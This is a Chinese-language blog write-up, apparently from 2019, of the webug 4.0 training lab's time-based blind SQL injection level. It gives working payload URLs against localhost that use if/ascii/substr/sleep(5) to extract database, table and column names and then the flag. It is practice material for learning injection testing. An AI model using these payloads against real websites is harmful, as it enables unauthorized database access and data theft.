webug4.0延时注入-3

/*打开这道题时,发现和第二关的链接一样。既然作者考察的是延时注入就利用响应时间来判断*/

用延时注入时,我们一般不能从页面直接获取数据库信息,所用知识与第二关基本相同

if(exp,1,sleep(5))  如果exp为真,返回1,否则返回sleep(5) 就是延时5s响应

 


0x01  经过尝试发现 'or 1=1--+ 能使页面正常

0x02  利用 'order by 1--+ 尝试判断出字段个数为3

0x03  利用延时注入爆所有数据库名字

http://localhost/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>104,1,sleep(5))--+

判断第一个数据库第一个字符大于104是否为真 true返回1,false返回sleep(5) 可利用二分法定位

判断第二个字符时 修改为substr(*****,2,1)

判断第二个数据库时 修改为limit 1,1

如果需爆当前数据库名字

http://localhost/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr(database(),1,1))>100,1,sleep(5))--+

爆出当前数据库名字 'webug'

0x04  利用延时注入爆webug下的表

http://localhost/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7765627567 limit 0,1),1,1))>97,1,sleep(5))--+

爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test

0x05  利用延时注入爆env_list下的列

http://localhost/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656e765f6c697374 limit 0,1),1,1))>97,1,sleep(5))--+

env_list的表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

0x06  利用延时注入爆id=3时envFlag内容

http://localhost/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select envFlag from webug.env_list  limit 2,1),1,1))>100,1,sleep(5))--+

limit 2,1 是从0开始的 故id=3时也就是limit 2,1  当然也可以写成下面的

http://localhost/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select envFlag from webug.env_list where id=3),1,1))>100,1,sleep(5))--+

 

 最后flag:gfdgdfsdg

 

posted @ 2019-03-17 13:25  你认识小哀吗  阅读(656)  评论(0编辑  收藏  举报